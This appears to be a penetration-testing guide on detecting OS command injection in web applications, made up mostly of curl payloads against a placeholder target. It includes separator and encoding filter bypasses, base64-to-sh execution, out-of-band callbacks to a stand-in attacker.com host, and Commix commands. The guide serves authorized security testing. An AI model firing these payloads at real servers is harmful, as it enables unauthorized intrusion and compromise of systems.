Command injection detection guide covering OS command injection vulnerabilities in web applications. Learn how to identify injection points, detect command execution, test filter bypasses, and confirm vulnerabilities using manual testing and tools like Commix and Burpsuite.
Command Injection occurs when user input is improperly sanitized and directly passed to system command execution functions, allowing attackers to execute arbitrary operating system commands on the server, potentially leading to full system compromise, data exfiltration, or lateral movement.
Common injection points:
- URL parameters:
?ip=127.0.0.1&host=example.com- POST form data: file uploads, search fields, user input forms
- HTTP headers:
User-Agent,X-Forwarded-For,Host- Cookie values
- API endpoints that process system commands
- File upload functionality (filename processing)
- Webhooks and callback URLs
Basic injection test:
# Linux/Unix
curl "http://$RHOST/ping?ip=127.0.0.1; whoami"
curl "http://$RHOST/ping?ip=127.0.0.1; id"
curl "http://$RHOST/ping?ip=127.0.0.1; uname -a"
# Windows
curl "http://$RHOST/ping?ip=127.0.0.1; whoami"
curl "http://$RHOST/ping?ip=127.0.0.1; ver"
curl "http://$RHOST/ping?ip=127.0.0.1; hostname"
POST injection:
curl -X POST "http://$RHOST/search" -d "query=test; whoami" -v
Header injection:
curl "http://$RHOST/page" -H "User-Agent: test; whoami" -v
curl "http://$RHOST/page" -H "X-Forwarded-For: 127.0.0.1; id" -v
Time-based testing:
time curl "http://$RHOST/ping?ip=127.0.0.1; sleep 5"
What to look for in responses:
Command execution indicators - Look for:
sh: command not found, 'whoami' is not recognizedFunctionality clues - Applications that may execute commands:
Error messages - Different errors indicate different OS:
sh: command not found, bash: command not found'command' is not recognized as an internal or external command
Next steps if command execution detected:
Commix basic test:
commix -u "http://$RHOST/ping?ip=127.0.0.1"
commix -u "http://$RHOST/ping?ip=127.0.0.1" --batch
POST request testing:
commix -u "http://$RHOST/search" --data="query=test"
commix -u "http://$RHOST/search" --data="query=test" -p query
Cookie-based testing:
commix -u "http://$RHOST/page" --cookie="session=abc123"
Burp Suite integration:
# Save request from Burp to file
commix -r request.txt
Burp Suite Active Scanner:
Confirm with multiple commands:
# Test different commands to confirm injection
curl "http://$RHOST/ping?ip=127.0.0.1; whoami"
curl "http://$RHOST/ping?ip=127.0.0.1; id"
curl "http://$RHOST/ping?ip=127.0.0.1; uname -a" # Linux/Unix
curl "http://$RHOST/ping?ip=127.0.0.1; hostname"
What to look for to confirm injection:
Detection confirmation checklist:
- Command output visible in response OR
- Error messages indicate command execution attempt OR
- Time delays confirm command execution (blind injection) OR
- Out-of-band channels receive data (DNS/HTTP exfiltration)
Next steps after confirmation:
Time-based testing:
# Linux/Unix
curl "http://$RHOST/ping?ip=127.0.0.1; sleep 5"
curl "http://$RHOST/ping?ip=127.0.0.1; ping -c 5 127.0.0.1"
# Windows
curl "http://$RHOST/ping?ip=127.0.0.1; timeout /t 5"
curl "http://$RHOST/ping?ip=127.0.0.1; ping -n 5 127.0.0.1"
What to look for in responses:
Response time - Measure with time curl:
Consistent delays - True conditions delay consistently, false conditions respond immediately
Network latency, server load, and other factors can affect response times. Always test multiple times and compare against baseline response times to avoid false positives.
Next steps if blind injection confirmed:
--time-sec for automated blind injection detectionManual OS fingerprinting:
# Linux/Unix - Test commands that reveal OS
curl "http://$RHOST/ping?ip=127.0.0.1; uname -a"
curl "http://$RHOST/ping?ip=127.0.0.1; cat /etc/os-release"
# Windows - Test commands that reveal OS
curl "http://$RHOST/ping?ip=127.0.0.1; ver"
curl "http://$RHOST/ping?ip=127.0.0.1; systeminfo"
# Check PATH
curl "http://$RHOST/ping?ip=127.0.0.1; echo $PATH" # Linux
curl "http://$RHOST/ping?ip=127.0.0.1; echo %PATH%" # Windows
What to look for:
sh: command not found, bash: command not found'command' is not recognized as an internal or external command/path/to/file (Unix) vs C:\path\to\file (Windows)Detection purpose:
Linux/Unix separators:
# Semicolon (sequential execution)
curl "http://$RHOST/ping?ip=127.0.0.1; whoami"
# Ampersand (background execution)
curl "http://$RHOST/ping?ip=127.0.0.1 & whoami"
# Pipe (command chaining)
curl "http://$RHOST/ping?ip=127.0.0.1 | whoami"
# Newline (command separation)
curl "http://$RHOST/ping?ip=127.0.0.1%0awhoami"
# Logical operators
curl "http://$RHOST/ping?ip=127.0.0.1 && whoami" # AND
curl "http://$RHOST/ping?ip=127.0.0.1 || whoami" # OR
Windows separators:
# Ampersand (sequential execution)
curl "http://$RHOST/ping?ip=127.0.0.1 & whoami"
# Semicolon (sequential execution)
curl "http://$RHOST/ping?ip=127.0.0.1; whoami"
# Pipe (command chaining)
curl "http://$RHOST/ping?ip=127.0.0.1 | whoami"
# Double ampersand (AND)
curl "http://$RHOST/ping?ip=127.0.0.1 && whoami"
# Double pipe (OR)
curl "http://$RHOST/ping?ip=127.0.0.1 || whoami"
What to look for in responses:
Separator effectiveness - Test each separator:
Multiple separators - Some applications filter specific characters:
; filtered, try | or && filtered, try ; or newline%3b, %26, %7c
Next steps if separator works:
Test filtered characters:
# Test common filters
curl "http://$RHOST/ping?ip=127.0.0.1; whoami"
curl "http://$RHOST/ping?ip=127.0.0.1 | whoami"
curl "http://$RHOST/ping?ip=127.0.0.1 & whoami"
curl "http://$RHOST/ping?ip=127.0.0.1 && whoami"
curl "http://$RHOST/ping?ip=127.0.0.1 || whoami"
What to look for in responses:
Filtered characters - Check if input is:
127.0.0.1; whoami becomes 127.0.0.1 whoami; becomes %3b or <whoami becomes who or amiWAF responses - Look for:
Next steps if filtering detected:
URL encoding:
curl "http://$RHOST/ping?ip=127.0.0.1%3bwhoami"
curl "http://$RHOST/ping?ip=127.0.0.1%26whoami"
Double URL encoding:
curl "http://$RHOST/ping?ip=127.0.0.1%253bwhoami"
Hex encoding:
curl "http://$RHOST/ping?ip=127.0.0.1\x3bwhoami"
# Encode command
echo -n "whoami" | xxd -p # 77686f616d69
# Execute (if xxd available)
curl "http://$RHOST/ping?ip=127.0.0.1; echo 77686f616d69 | xxd -r -p | sh"
Unicode encoding (if supported):
curl "http://$RHOST/ping?ip=127.0.0.1\u003bwhoami"
Base64 encoding:
# Encode command
echo -n "whoami" | base64 # d2hvYW1p
# Execute encoded command
curl "http://$RHOST/ping?ip=127.0.0.1; echo d2hvYW1p | base64 -d | sh"
Whitespace bypass:
# Tab character
curl "http://$RHOST/ping?ip=127.0.0.1%09whoami"
# Newline
curl "http://$RHOST/ping?ip=127.0.0.1%0awhoami"
# Carriage return
curl "http://$RHOST/ping?ip=127.0.0.1%0dwhoami"
# Form feed
curl "http://$RHOST/ping?ip=127.0.0.1%0cwhoami"
Command concatenation:
# Without spaces
curl "http://$RHOST/ping?ip=127.0.0.1;whoami"
curl "http://$RHOST/ping?ip=127.0.0.1|whoami"
# With IFS (Internal Field Separator)
curl "http://$RHOST/ping?ip=127.0.0.1;\${IFS}whoami"
Case variation:
# Lowercase
curl "http://$RHOST/ping?ip=127.0.0.1; whoami"
# Uppercase
curl "http://$RHOST/ping?ip=127.0.0.1; WHOAMI"
# Mixed case
curl "http://$RHOST/ping?ip=127.0.0.1; WhOaMi"
Linux/Unix command substitution:
# Backticks
curl "http://$RHOST/ping?ip=\`whoami\`"
# Dollar parentheses
curl "http://$RHOST/ping?ip=\$(whoami)"
curl "http://$RHOST/ping?ip=\$\(whoami\)"
# Nested substitution
curl "http://$RHOST/ping?ip=\$(echo \$(whoami))"
Wildcard expansion:
# Use wildcards if commands filtered
curl "http://$RHOST/ping?ip=127.0.0.1; /???/??/w??o???" # /bin/whoami
curl "http://$RHOST/ping?ip=127.0.0.1; /usr/bin/w*" # whoami
Environment variables:
# Use $PATH
curl "http://$RHOST/ping?ip=127.0.0.1; \$PATH"
# Use $HOME
curl "http://$RHOST/ping?ip=127.0.0.1; echo \$HOME"
DNS-based detection:
# Test if commands execute by triggering DNS lookup
curl "http://$RHOST/ping?ip=127.0.0.1; nslookup test.attacker.com"
curl "http://$RHOST/ping?ip=127.0.0.1; dig test.attacker.com"
HTTP-based detection:
# Test if commands execute by triggering HTTP request
curl "http://$RHOST/ping?ip=127.0.0.1; curl http://attacker.com/test"
curl "http://$RHOST/ping?ip=127.0.0.1; wget http://attacker.com/test"
Listener Setup: Before testing out-of-band techniques, ensure you have a listener/server configured to receive the connections. For DNS, configure a DNS server to log queries. For HTTP, set up a web server (
python3 -m http.server 8000) or use a service likewebhook.siteto capture requests.
Basic usage:
commix -u "http://$RHOST/ping?ip=127.0.0.1" --batch
Comprehensive scan:
commix -u "http://$RHOST/ping?ip=127.0.0.1" --batch --all
commix -u "http://$RHOST/ping?ip=127.0.0.1" --batch --os-cmd="whoami"
With proxy (Burp):
commix -u "http://$RHOST/ping?ip=127.0.0.1" --proxy="http://127.0.0.1:8080"
Blind injection:
commix -u "http://$RHOST/ping?ip=127.0.0.1" --batch --time-sec=5
Detection-focused scan:
# Test and confirm injection without executing OS shell
commix -u "http://$RHOST/ping?ip=127.0.0.1" --batch --test-all
Custom payload testing:
commix -u "http://$RHOST/ping?ip=127.0.0.1" --batch --payload="; COMMAND #"
Active Scanner:
Intruder:
Repeater: